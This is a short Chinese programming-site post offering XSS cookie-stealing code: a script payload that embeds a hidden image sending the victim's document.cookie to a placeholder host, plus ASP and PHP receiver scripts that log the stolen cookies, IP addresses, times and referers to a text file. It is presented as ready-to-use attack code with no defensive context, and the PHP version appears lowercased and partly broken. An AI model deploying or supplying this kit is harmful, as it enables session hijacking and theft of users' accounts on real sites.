欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

asp php XSS获取cookie的代码

程序员文章站 2022-04-26 15:49:51
news.asp代码: <%... 09-04-20...
<script>document.write('<img src="http://url/news.asp?msg='+document.cookie+'" width=0 height=0 border=0 />');</script>
news.asp代码:
<%
msg=request.servervariables("query_string")
testfile=server.mappath("cook.txt")
set fs=server.createobject("scripting.filesystemobject")
set thisfile=fs.opentextfile(testfile,8,true,0)
thisfile.writeline(""&msg& "")
thisfile.close
set fs = nothing
%>

php版代码:
<?php
$cookie = $_get['c'];
$ip = getenv ('remote_addr');
$time=date("j f, y, g:i a");
$referer=getenv ('http_referer');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'cookie: '.$cookie.'<br> ip: ' .$ip. '<br> date and time: '

.$time. '<br> referer: '.$referer.'<br><br><br>');
fclose
?>